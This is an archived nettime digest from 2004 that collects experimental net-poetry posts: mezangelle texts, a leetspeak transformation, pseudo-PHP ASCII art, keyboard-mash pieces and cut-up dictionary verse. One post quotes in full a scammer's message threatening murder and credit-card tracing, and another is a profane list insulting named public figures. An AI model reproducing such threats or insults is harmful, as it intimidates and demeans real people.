do_\n\n\n--\n\nhint: play.ur[+ziggurating]ges.du.well..\n\n\n[an an.hic.dotal.pathway.4.u:]\n[absorb+re(sub)set.in2.ur.own.w|under.baggage]\n\n.leaning.st(reet).wards+drowning.in.discman.ness\n.audio_st.(d)reaming.masks+supping.on.simulcra\n\n[i.c]\n\n.a.crow_murda.alite.+blua.s(ky)warm\n[_Al.Gore.rhythmic.technopockets.ebony.flickin.thru.pack.organics]\n\n[many.+.more.sky.merging.ova.my.awe.drenched.head]\n\n.flying.in.stimu.lus[t]_react||a.chopper.materialising.in.my.visuality\n\n\n[clik.shiftingler]\n\n\n\n.\n\n\n.(c)[lick].\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\nDate: Mon, 1 Mar 2004 16:22:56 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Re: LEET-SPEEK\n\n01/03/2004 01:32:55, MWP <mpalmer {AT} JPS.NET> wrote:\n\n>  LEET-SPEEK\nversion with 0-spaced words and 1 between\ni'll maybe set up a webpage for translation and similars..\n\n|.|'|'.)^|'|(\n\n>  $text = \"If I will lose one auction because of you I will get the trace of\n>  your credit card and I will find your address and I will pay someoane to\n>  kill you ! For $1000 I think I will find someoane to do that! I do not joke\n>  with this kind of words ! I am verry serios !!!!!!!!!!!!!!!!!!!!!!! If you\n>  do not belive me .......... please try me! Do you think is hard to find you\n>  ? Is verry easy for me and if I need I will come for you in any place of the\n>  world! If you do not belive me ........ how do you think I get this credit\n>  cards with all name and address?????????????????\";\n\n||= | \\^/||.|. |.().)^|{ ()|\\||{ /-\\(.)('|'|()|\\| |+)|{(/-\\(.).)^|{ ()|= >/()(.)\n| \\^/||.|. (-/|{'|' '|'|-||{ '|'|)\\/-\\(|{ ()|= >/()(.)|)\\ (|)\\|{|)|'|' (/-\\|)\\|)\n/-\\|\\||) | \\^/||.|. |=||\\||) >/()(.)|)\\ /-\\|)|)|)\\|{.)^.)^ /-\\|\\||) | \\^/||.|.\n|'/-\\>/ .)^()/\\/\\|{()/-\\|\\||{ '|'() |<||.|. >/()(.) ! |=()|)\\ $1000 | '|'|-|||\n\\||< | \\^/||.|. |=||\\||) .)^()/\\/\\|{()/-\\|\\||{ '|'() |)() '|'|-|/-\\'|'! | |)() |\n\\|()'|' .|()|<|{ \\^/|'|'|-| '|'|-||.)^ |<||\\||) ()|= \\^/()|)\\|).)^ ! | /-\\/\\/\\\n\\/|{|)\\|)\\>/ .)^|{|)\\|().)^ !!!!!!!!!!!!!!!!!!!!!!! ||= >/()(.) |)() |\\|()'|'\n|+)|{|.|\\/|{ /\\/\\|{ .......... |'|.|{/-\\.)^|{ '|'|)\\>/ /\\/\\|{! |)() >/()(.)\n'|'|-|||\\||< |.)^ |-|/-\\|)\\|) '|'() |=||\\||) >/()(.) ? |.)^ \\/|{|)\\|)\\>/ |{/-\\.)\n^>/ |=()|)\\ /\\/\\|{ /-\\|\\||) ||= | |\\||{|{|) | \\^/||.|. (()/\\/\\|{ |=()|)\\ >/()(.)\n||\\| /-\\|\\|>/ |'|./-\\(|{ ()|= '|'|-||{ \\^/()|)\\|.|)! ||= >/()(.) |)() |\\|()'|'\n|+)|{|.|\\/|{ /\\/\\|{ ........ |-|()\\^/ |)() >/()(.) '|'|-|||\\||< | (-/|{'|' '|'|-\n||.)^ (|)\\|{|)|'|' (/-\\|)\\|).)^ \\^/|'|'|-| /-\\|.|. |\\|/-\\/\\/\\|{ /-\\|\\||) /-\\|)|)\n|)\\|{.)^.)^?????????????????\n\n\n\nDate: Sat, 21 Jun 2003 08:40:23 +0200\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\n\n\nit's a laponian hat.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nCaps\nLock\n\n\n\nFrom: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: MiDi[Mpure\nDate: Mon, 01 Mar 2004 13:07:49 +0000\n\nMiDi[Mpure\n\na\\s/Gerson\n||.tURn.ed\n]  [oCC|]a\n((mis-t>|<\nnOdouBLEtR\n\nuth-'\"mMMM\n/]-[\\TH)at\n[(nEW|eEnD\n[p.\\L/ay\\L\nie.(ge((Le\n\ni>>[(o)]<<\n+))>E(a)--\nCOMP<unc||\n||tion<||>\no>ut<SID-e\n\n/History//\ngRACE\\\\:><\n://:deTAIl\nCON|[temp<\nT>forthe-W\n)orl)D-)(i\n\nii(e...)[]\n:re:BIRTH/\nof/__]Anti\n]QuiTY>toP\nPo]  [siti\n\n\\>on|to|M.\nA.\"\"s,+tHA\nt'wHiCH<co\nn't/i\\nues\nM.A.,S>--I\n\nN\\to/Des||\nCar||||tes\n(a)nOBreaK\n>A]risToT>\nLE'bEEnLAT\n\ninized\\/No\nw\\/]filTER\n.ed   thRU\n.teoL[L]oL\nGi>y-><||>\n\nH1-monK  s\nNAT\\ure[=[\nGRACe<>huM\nK(now((L>e\ndge/NotoFT\n\nH\\ings\\but\n/\\/\\/\\/of/\n//SYM[im''\n>[  ]<''bo\nlS/garage.\n\n\nWilliam\nhttp://www.geocities.com/worldezine\n\n_________________________________________________________________\nF\u00e5 alle de nye og sjove ikoner med MSN Messenger http://messenger.msn.dk\n\n\n\nFrom: noemata <noemata {AT} kunst.no>\nTo: WRYTING <WRYTING-L {AT} LISTSERV.UTORONTO.CA>, _arc.hive_ <_arc.hive_ {AT} lm.va.com.au>, syndicate <syndicate {AT} anart.no>\nSubject: eee... embedded cloud of uncoding (Aquinas/Merton/Selavy)\nDate: Sat, 28 Feb 2004 09:46:40 +0100\n\nembedded code of unclothing (manifestation/nude descend)\n\n\n<?php p? ?p ?  h h? ?h p hp php hp? h?p ph? p?h ?hp ?php\n p p? ?p ? p p? ?  p p p pp pp hpp? p?p pp? p?p ? pp ?pp\n? h h? ?h ? p p? ?p h p ph hp ph? p?  h hp? h?p ?ph ?hp?\np h hp ph p p pp pp h p ph hp php pph hpp hpp pph php  p\nhp? ph?p pph? pp?h p?hp      p?ph hpp? hp?p hpp? hp?p h?\npp h?pp pph? pp?h  php? ph?p p?ph p?hp ?php ?pph ?hpp ?h\npp ?pph ?php ? p p? ?p ? h h? ?h p  h hp ph h p? h?p ph?\n p?h ?hp  ?ph ? p p ? ?p ? ? ?? ?? p ? ?p p? ?p? ??p  p?\n? p?? ??p ?p? ? h  h? ?h ? ? ?? ?? h ? ?h h? ?h?  ??h h?\n? h?? ??h ?h? p  h hp ph p ? ?p p? h ? ?h h?  ?hp ?ph h?\np hp? p?h ph?     ?hp?    ?h?p    ?ph?    ?p?h     ??hp\n   ??ph    h?p?    h??p    hp??    hp??    h??p    h?p?\n   p?h?    p??h    ph??    ph? ?    p??h     p?h?    ??h\np    ??ph    ?h?p    ? hp?    ?p?h    <>?? php <>p?hp? <\n>p?h?p <>p?ph? <>p?p?h <>p??hp <>p??ph <>ph?p? <>ph??p \n<>php?? <>php ?? <>ph??p <>ph?p? <>pp?h? <>pp??h <>pph??\n <>pp  h??  <>pp??h  <>pp?h? <>p??hp <>p??ph <>p?h?p <>p\n?hp ? <     >p?p?h <>p?ph? <>h?pp? <>h?p?p  <>h?pp? <>h?\np?p <> h?? pp <>h??pp <>hp?p? <>hp??p <>hpp?? <>hpp?? <>\nhp??p  <>hp?p? <>hp?p? <>hp??p <>hpp?? <>hpp?? <>hp??p <\n>hp?p? <>h??pp <>h??pp  <>h?p?p <>h?pp? <>h?p?p <>h?pp?\n<>p?ph? <>p?p?h <>p?hp? <>p?h?p <>p??ph  <>p??hp <>pp?h?\n <>pp??h <>pph?? <>pph?? <>p     p ??h <>pp?h? <>ph?p? <\n>ph??p  <>php?? <>php?? <>ph??p <>  ph?p? <>p??ph <>p??h\np <>p?p?h <>p?ph? <>p?h?p  <>p?hp? <>?   ?php <>??pph <>\n??hpp <>??hpp <>??pph <>??php <>?p?hp <>?p?ph  <>?ph?p <\n>?php? <>?pp?h <>?pph? <>?h?pp <>?h?pp <>?hp?p <>?hpp? <\n>?hp?p  <>?hpp? <>?p?ph <>?p?hp <>?pp?h <>?pph? <>?ph?p\n<>?php? ? ?? ? ?p ?p? ??  p ? ?? ? ?h ?h? ??h ? ?p ? ?h\n?hp ?ph ?    hp? ?    h?p ?    ph? ?    p?h ?    ?hp ? \n  ?ph ? ?? ? ?p ?p? ??p ? ?? ? ?p ?p? ??p ? ?p ? ?p ?pp\n?pp ?pp? ?p?p ?pp?  ?p?p ??pp ??pp ? ?? ? ?h ?h? ??h ? ?\n<>??php <>p?hp? <>p?h?p <>p?ph? <>p?p?h <>p??hp <>p??p h\nh?p? <>ph??p  <>php?? <>php?? <>ph??   p <  >ph?p?   <>p\n <>pp??h <>pph?? <>pph?? <>pp??h    <>pp?h?  <>p??hp <>p\n <>p?h?p <>p?hp? <>p?p?h <>p?ph?   <>    h?p p? <>h?p?p \nh?pp? <>h?p              ?p <>h??pp <>h??pp   <>hp?  p? \n>hp??p <>hpp?? <>hpp?? <>h p??p  <> hp?p?     <>hp?p?  <\n?p <>hpp?? <>hpp?? <>hp??p  <>h  p?p? <>  h?  ?pp <>h??p\n>h?p?p <>h?pp? <>h?p    ?p < >h?pp    ? <>p?p h? <>p?p?h\n?hp? <>p?h?p <>p? ?ph   <>p??hp <>pp?h? <>pp? ?h < > pph\n>pph?? <>        pp ??h  <>pp?h? <>ph?p? <>ph ??p  <>php\n>php?? <>ph??p  <>ph?p?  <>p??ph <>p??hp <>p? p?h <>p?ph\np?h?p   <>p?hp? <>??php  <>?     ?pph <>??hpp  <>??hpp <\nph <>??php <>?p?hp <>?p?ph  <>?ph?     p <>?php? <>?pp?h\npph? <>?h?pp <>?h?pp <>?hp?p      <>?hpp? <>?h p?p   <>?\n <>?p?ph <>?p?hp <>?pp?h    <>?pph?   < >?ph?p  <>? <?ph\n <>?php? ? ?? ? ?p ?p? ??<>??     php < >p?hp? <>p?h?p <\nh? <>p?p?h <>p??hp <>p?  ?ph <>ph?p? <>ph??p  <>php?? <>\n? <>ph??p <>ph?p? <>pp?h? <>pp??h <   >pph?? <>pph?? <>p\n  <>pp?h? <>p??hp <>p?              ?ph <>p?h?p <>p?hp? \np?h <>p?ph? <>h?pp? <>h?p?p           <>h?pp? <>h?p?p ?>\n>hp??p <>hpp?? <>hpp?? <>h p??p  <> hp?p?     <>hp?p?  <\n/*p<<<<<?p?<??<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>*/\n/////////////??p/<>ph?//////////////////////////////////\n////////////p?/<>p??ph/<////////////////////////////////\n///////////>p??hp/<>p?p?////////////////////////////////\n///////////h/<>p?ph?/<>p////////////////////////////////\n////////////?h?p///<>p?hp/?/<///////////////////////////\n/////////////>??php/<////>?////?////////////////////////\n/////////////pph//<//>??hpp/////////////////////////////\n/////////////<>?///////?hpp///<>////////////////////////\n/////////?//?pph///////<>/?///?/p/////////hp////////////\n////////<////>?p?//////hp/<///>?/////////p?p////////////\n////////h////////<>///?ph?///p//<///>?/php?/////////////\n///>/?//p//p///?h////////////<////>?/p/ph?/<////////////\n//h?/p//p/<///>?//////////////h/////?pp/<>?h////////////\n//p//</>?///hpp///////////////////////?/<>?h////////////\n//p///////<>?hp//////////////p/?///////<>?p?////////////\n//////<>/?p?hp/////////////<>?pp?/////h/<>?p////////////\n//?//////<>?ph?/////////p//<//>?php?/?/??/?/////////////\n//p/////?p?/??//////////////////////////////////////////\n\n\n\n0x isbn 82-92428-18-6\n\n\n\n\nDate: Thu, 4 Mar 2004 16:13:50 -0000\nFrom: Morrigan <morrigan.nihil {AT} NTLWORLD.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: heroes, i think not\n\nRumsfeld is a fucking arsehole\nBush is a fucking arsehole\nBlair is a fucking arsehole\nJack Straw is a fucking arsehole 1\nMichael Howard is a fucking arsehole\nSchwartzenegger is a fucking arsehole\nMel Gibson is a fucking arsehole\nCraig Thompson is a fucking arsehole 2\nRichard Branson is a fucking arsehole\nEugene Terre Blanche is a fucking arsehole\nMargaret Thatcher is a fucking arsehole\nPaul Hill is a fucking arsehole 3\nThe Pope is a fucking arsehole\nBjork is a fucking arsehole\nRadovan Karadzic is a fucking arsehole\nBin Laden is a fucking arsehole\nAriel Sharon is a fucking arsehole\nStan Collymore is a fucking arsehole 4\nDr Paul Cameron is a fucking arsehole 5\nNick Griffin is a fucking arsehole 6\nIan Paisley is a fucking arsehole\nPeter Sutcliffe is a fucking arsehole 7\nJudge Albert Sabo is a fucking arsehole 8\n\n1 our foreign secretary\n2 ex-boyfriend who was a total bastard\n3 anti abortionist extremist who shot a doctor and his bodyguard\n4 soccer player\n5 anti gay activist\n6 chairman of the British National Party - fucking fascist\n7 the Yorkshire Ripper\n8 racist judge who presided over Mumia Abu-Jamal's first trial\n\narseholes, arseholes, arseholes, fucking arseholes\n\n\n\nDate: Sat, 28 Feb 2004 15:30:13 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\njust fuck it -\n\n\n: just <unseen>\n: fuck <seen>\n: it   <seen>\n\n\nfuck it three times, so it will be better fucked.\n\nemotionally fuck up.\n\n\n\n\n\n<nettime> unstable digest vol 80\n\nhttp://amsterdam.nettime.org/Lists-Archives/nettime-l-0402/msg00096.html\n\n\n\nDate: Sun, 29 Feb 2004 15:57:22 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: <inform>\n\nFrom: - - - - - - -  {AT}  - - - - - - - -\nTo: - - - -  {AT}  - - - - - - - - - - - -\nCc: - - - - - -  {AT}  - - - - - - - - -\nBcc: - - - - - - - -  {AT}  - - - - - - - - - -\nSubject: - -    - - - - - -   - - - - -\n\n\n____________________________________________________________________\n\nasdlfkjdjdjdjdjdjdf dfkajlsdkjfaseirueowuraewrjlaksjdf\u00f8lkjg\u00f8lkajs\ndlkfjg\u00f8lkajsdklfjlkadslkfjas\u00f8ldk laskfja\u00f8lskejroweajfla\u00f8skd\n\u00f8lkjfoawe lkgja\u00f8lkjfgkl alskfjawoeiruwaoperuwopaeiru aowieru\nawoeipr uawoeir asdlkfj\u00f8laksjdf\u00f8asdf\u00f8lkjasdf\u00f8lkjas\u00f8dlkfjas\u00f8ldf\n       sldf\u00f8jwoerupoaiweurafljsdfalksdjf welrweor\n    weoriwuerpoiuawepoiru alskjdf aslkf woerupwerupaoi\n  falkasjf\u00f8lkjwoerupweporiuwaeoriuapdsofa\u00f8lsdj\u00f8 asldkfj\n              laskfjaslkdjf aoweiruawpoeiru\nasdfklajsdfl\u00f8jweaoiughaslkfhkdsfjalskfjalsdfj oweiruawekljf alskj\n             rwoerupwoaieurpoiasd flkjaweou\nasdlkfjaweojfffa\u00f8lsdkfja\u00f8lskdjf\u00f8laskdfj weoriupowiueroasdkfj\n  asdl\u00f8kjf woeiru aljf\u00f8alsdkf weoriuasdflkj weoiru asfj\n  awoeiruasdfl\u00f8kj a\u00f8lskdf waoeriuwoerualsdkjf asdfl\u00f8kaw\n      erowaeruwaerpoiasdufl\u00f8asdkfj\u00f8alsdkjfepwqoieru\n      pwtr\u00e5qwt\u00e5erptslkgfdsklgjdslfjgcvb,mnxb,msdfgn\n      am,masfsnsdmfgndfg,nsd,mgnsdf,mgertm,srtnser\n      ,tmertns.dfg,mners.dglkjxcvbjhsdfkbnbsldkjfbn\n      xcb.xcv,bmnxc.,bmnsdfglkjsdfgkljhdsfgkljsdfgj\n      hsdflkgjsdfghfjhgrughruhgrughrguhrughrughrgur\n      hgurgurgurgurgurugrugurgurgurugurgurgurugurgu\n      rurururururururururururururururururururururur\n      urururururururururuturuuruturuturieiirieiriei\n      rieirieirieirieiritiritiritirietieriteirtiert\n      iertiertieriteriteritertoeirterotiuertoiuerto\n      iuertoieurtoieurtpertpoweirutpoweirtupwoerutw\n      perotuiwerpotuiwerpotuweprotiuwerptoiuwertpou\n      iwertpouiwertpoiutrpoewiutwoperiturioewpoiwer\n      utpoiwuertpoiudfgpoiudsfgposiuoidugposdfspodi\n      gsoiuoiusdopfiugsdofguidsofpugeroputwpoiu5o4i\n      5puo45iu34poi5u4o5iu45poi345opi345poi3u5po3iu\n      53po4u5p3o4i5po3i453kl5jh3ljk5h34lh3l45l3,45.\n      n34.,5mn34,5m.345.345m,34.5n345.,34m5n3.4,53.\n      45n3.45,n34.n34.n34.5n34.5,n34.5mn34.,5mn34.m\n      5n34.5mn34.5nm345.3mn45.34mn53.45n3.45n34.5mn\n      345.nm34.ern.ertner.tmert.ert.,em.,emtn.e,rtn\n      e.,tmne.t,nert.,nert.,net.,emtn.,emtn.,emne,.\n      rne.,rtne.,tmne.rtnme.,tnme.rtne.t,mne.t,mne.\n      ,tmnrt.,n.nd.hnw.nhw.hnwh.nw.h,nwh.w,hnlwthjw\n    osigsuigsogdsgdg.dsgsdgd-g,s-dgsdg-sd,g-sdf,g d\n      -gsdgsdgdsfgsdgsdgdsfgsdsgsdgsdfgsdfgdsfgsdf\n  gdsfgdsfgdsfgddlsdf\u00f8lkdflkjewklgjasgasfs-dfd. f.dsf.\n         -,:SFM;NSDF:;NSF:;MSDNF:;MSDF:;MDSF:;MN\n      F:ME;EME;FNE;FMNE;FMNE;FMNEF;MNEF;MNEF;MNEF;M\n      NEF;MNEF;MNEF;NEF;MNEF;:DSF;MSNDF:;NG:EGN:;MN\n      GLKJEFKLD\u00d8LJSGPEIOTUEWPOUEOUTWPOU\u00a4)t/#t)(/#)(\n      /#)/#t)(/#)#t)(/#)(/#)/#)#)/#)/#)/#)/t)/#t)(#\n      t)(#t)/#t)(#t()/#t()#t()8973T3\"45345#\u00a4534%4#%\n      #4534#\u00a4%#\u00a4%#\u00a4%j#\u00a4%k#\u00a4%#\u00a4%l#\u00a4%l#\u00a4%lk#\u00a4l%k#\u00a4l%k\n      #\u00a4l%j#\u00a4%lk#\u00a4l%k#\u00a4%lK345LKJHL\u00d8KJH\u00d8LDKHJ\u00d8DLFKHJ\n      \u00d8LDFKHJDF\u00d8LHKJ\u00d865\u00d8KL65\u00d856\u00d8LJ656556\u00a3$6$\u00a3563434\n      $\u00a3$\u00a3$\u00a3$\u00a3$\u00a3$?\u00a3$ {AT} \u00a3$\u00a3${ {AT} ${ {AT} ${$?{ {AT} $ {AT} ${ {AT} ${$ {AT} { {AT} ${ {AT} $\n      {?[?{\u00a3$?$$\u00a3?$$$?$ {AT} ?\u00a3?$\u00a3 {AT} ] {AT} ] {AT}  {AT} }} {AT} } {AT} ]} {AT} ]} {AT} }] {AT} ]\u00a3\n      $}]\u00a3$?\u00a3\u00a3$}]\u00a3$]5595959595959595959959568456984\n      670934867093824670918245093487109857309287304\n      968720398469018764092387460983670923760928560\n      98560943860934634634564364364366\u00b4~\u00b4~\u00b4~\u00b4~\u00b4~\u00b4~\u00b4\n     \u00b4~~~\u00b4~~~~~~~~\u00c5'+\u00c5\u00a8'0\u00c5\u00a8+'\u00c5\u00a8+'\u00c5\u00a8+'\u00c5\u00a8+'\u00a8+'\u00c62\u00a31\u00a31 2\n_________________________________________________________________\n\n\n\n-\n-\n-\n-\n-\n-\n-\n-\n-\n-\n-\n-\n\n\n[Send]\n\n</inform>\n\n\n\n\n\n\nnettime unstable digest vol 81\nSun Mar  7 19:59:59 2004\n\n\nSubject: blunders\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: \n    From: \"geert lovink\" <geert {AT} xs4all.nl>\n    To: \"Florian Cramer\" <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: F room  Happiness 203\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: The Problem Is Speaking\n    From: Brent Bechtel <bbechtel {AT} PRODIGY.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: 525600 minutes more\n    From: dolmensniper {AT} free.fr\n    To: \"CYBERMIND {AT} LISTSERV.AOL.COM\" <CYBERMIND {AT} LISTSERV.AOL.COM>,\n\nSubject: Date Range Processed: WHY ARE YOU DOING THIS TO ME\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Symantec Mail Security detected that you sent a message with an unscannable attachment or body                                        (SYM:11880414251660083628)\n    From: <administrator {AT} localhost>\n    To: <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: reasons for skin\n    From: Morrigan <morrigan.nihil {AT} NTLWORLD.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: A codepoem from Edx\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: the MAZPIQ language\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: [pack.organics]\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: o-o {AT} konf.lt, list {AT} rhizome.org, screenburn {AT} yahoogroups.com\n\nSubject: Re: LEET-SPEEK\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: MiDi[Mpure\n    From: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: eee... embedded cloud of uncoding (Aquinas/Merton/Selavy)\n    From: noemata <noemata {AT} kunst.no>\n    To: WRYTING <WRYTING-L {AT} LISTSERV.UTORONTO.CA>, _arc.hive_ <_arc.hive_ {AT} lm.va.com.au>, syndicate <syndicate {AT} anart.no>\n\nSubject: heroes, i think not\n    From: Morrigan <morrigan.nihil {AT} NTLWORLD.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: <inform>\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \nryan whyte <ryan.whyte {AT} utoronto.ca>\n    wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 7 Mar 2004 20:02:44 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200403071938.i27Jc3Q22251 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00030.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 81"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00103",
                "content": "\nTo: _arc.hive_ {AT} lm.va.com.au, wompydjg1970 {AT} yahoo.com,\nFrom: \"[g]Ash[+Bi]Shopping\" <netwurker {AT} hotkey.net.au>\nSubject: _LO[L]Wing_\nDate: Tue, 10 Aug 2004 19:57:38 +1000\n\n\n__________________________________________________\n_LO[L]Wing_    07:48pm 10/08/2004\n__________________________________________________\n\n.hi + lo growling sculpture or melodic pop.edgings\n..+ the slant of unknowable accenting....\n\n--\n\n...taking tinsy heart_shards + wrapping them up in feathers in order 2 make \na bird of me\n\n+ i'm definitely grounded, at the moment.\nbroken wings.\n\n\n--\n\n\n* prickling tears *\n\n\n\n\nbright.light.reflectors+porcelain clay-faces+crisp.suit.[expression]linings\n\n\nshould i edit?\n\n[18:22] <][mez][> [ie make it all manageable, clinical, serene?]\n[18:23] <][mez][> turn of the affectivity tap?\n[18:23] <][mez][> i can't get 2 natural.\n[18:23] <][mez][> everything is slightly fuguish.\n[18:23] <][mez][> generally, i'm feeling a tremendous urge 2 escape.\n[18:24] <][mez][> it seems as if the world is slightly glossed with a coat \nof grey.\n[18:25] <][mez][> as i walk my routine sticks in my consciousness throat.\n[18:25] <][mez][> i'm edging 2wards a plummeting or soaring momentum.\n[18:25] <][mez][> in short, lost in feeling.\n[18:25] <][mez][> L>I>F\n[18:26] <][mez][> .thats about it.\n\n\n\n[18:29] <][mez][> it feels as if that grey coating is hiding something\n[18:29] <][mez][> ....the plummet or soaring indicates change, of some type.\n[18:30] <][mez][> not sure where, or how.\n[18:30] <][mez][> it might b all isolated 2 internal states?\n[18:30] <][mez][> i just don't know.\n[18:30] <][mez][> work felt like it was killing me, 2day.\n[18:30] <][mez][> killing me..+ momentum...+ appreciation.\n[18:31] <][mez][> but its all welling up now\n[18:31] <][mez][> [as in feeling not isolated 2 victim rhetoric, like 2day \nat work]\n\n\n[18:31] <][mez][> feeling much freer. much more able to flow within it.\n[18:32] <][mez][> less likely to stitch myself with [stereo]typing\n[18:32] <][mez][> able to asses whilst creating\n[18:32] <][mez][> [like now]\n[18:32] <][mez][> survive + adapt.\n[18:32] <][mez][> [and mostly, feel].\n\n\n[18:34] <][mez][> just don't want 2 shortcut by condensing all this feeling \ninto empty word shells\n[18:35] <][mez][> of course..always, in some capacity.\n\n\n[18:36] <][mez][> \"i think i might have been losing that underneath the world\"\n[18:36] <][mez][> thats beautiful, in isolation.\n\n\n[18:37] <][mez][> no prempt[y]ing\n[18:37] <][mez][> woteva, wheneva.\n[18:37] <][mez][> i need to sleep + dream violent dreams of action i suspect.\n[18:38] <][mez][> [mite counteract the fugue]\n\n[18:40] <][mez][> just caught up here, stretched thru limbic systemics + \nswollen with affective dust\n\n\n\n\n    .living_iN_avat.r(esidency)ix 101.1_\n-\n-[sharing hug corpses + detriments bones]\n-[i die.binary+seek.u.thru.monitor.ing]\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n\n\n\nFrom: noemata {AT} kunst.no\nTo: WRYTING <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\nSubject: mesnomer serch (rigula espresso)\nDate: Sun, 22 Aug 2004 13:16:38 +0200\n\n(is papeterie, watertightness, your own is) watertite.\nouter, wendell, your\nPLAR! SEE VAGCE TO S ADJ. RANT.?SYN. 7. HWA-BUNDUOBO, LOAFE  NDER + 8.\nKNAALL APPLICVE, IDOOT, STATOR EM,  OR TRLEDER SHEE. 4.A SM FR. SLENOR\n(throughother) up the amply liberal these are (up the absolutes\n(trucked you had to be unformal, trite) is outer, whatever, your own is\nCOSDERS FROM METICSG A PERPLACEMANENT HOM,  HAVINE, WHO WAN  USUALLYTO\nWANDER + -BUNDER + WANDERIDUS  NG FROM PL-BDJ. 1.ACE TO WANADUNDUS AJ.\nalready past and looking back and (armonk osten and lulled)\nand and start moving (you ferret stich and starred nanoplankton you)\nbevelled landowska barony se it coming, the (it c\nontainer v\u00e6rst)\nWAN, OR STAFFDER + MADIC:   CARA GMAICIAN-BDJ. NO, CONJURERRIUNDUS AED\nAS OM PLACE WTHE STR DRONEITHOUD ON. 6.TOORSPEAKE  STRAY FRT M THE   A\nSHR, ETC.: DUUB OR F A PATRING H, PLACE, VIEANS OCOMPANIONS TSIBLE MHE\ncrossroad se it costa i know what (constrained i lease woad) is\nkabul) double read are divergency psephite (determinately prude)\nleftd i victimising is left (is \nlibeling i is) trying to kep it\n-\nFOR TOURISTS.M OF IERING;  2.HAWINDING: AND.MEAND WANDERINGVIIANS. 3NG\nNO  OR AUTHORPERMANNOMADICITY. : A DEFINIENENCE; TE PURPOSE 3T RESID.\nSLE OR  A BRUNDER  R  OBJESH  ACTIVE;  ROSHTEM, OAM, ROVE, T OOT,\n  S A\nVAGRECTION:  ABOND G AN IRFOOTHREGULAR COHA.HAVINURSE OR DIILBITS. 5LS\nWAN  STRAY FRDERED   \nSPEAKOM  PER  DRONED TRM THE ON.  6.TOLAHE  STOCE\nWIT HOME, WHOHOUT AISTS. 2  WAN.HAVING NO WG TOUR PERMANENTDEANDERINRS\nlight trying to (it liberal theosophy too) kep it license in a\nlight up, son te now (spirketting largess) gone now globigerina\nonly i was (harms now i was) there i \nwa toxin the actual which\nown (openhandedly, uxoriousness, yawningly own) subantarctic\nthese are navigators are onanism (texases orgy) you find some\nway you had to (it kishinev) there \nin a way you had to be trim.\n\nyou find some nixon (you follicle spongers omsk)\n\nAMOROL:  HIS NG THEED THOUATTENGHTS  OR T WSORDERAG OR CONTTIORLD.DION\nWANWITH A  BRDERED ?N. 10.USH AMECH.  THE TETS.   MASCARA  T HE STRE A\nPERENDAN TO WIOD OFONJURERANDER, OR THE D AAN,  CRIFT  OF W   MAGICI+ \n-BUATE IN AN NDUS A FROM IUNCERTS COURSE.DJDERING 7.TO DEVITA. 1.WANIN\nOR OUT A PATHANOTHEIOUS IN,  PLTENT OR ANR  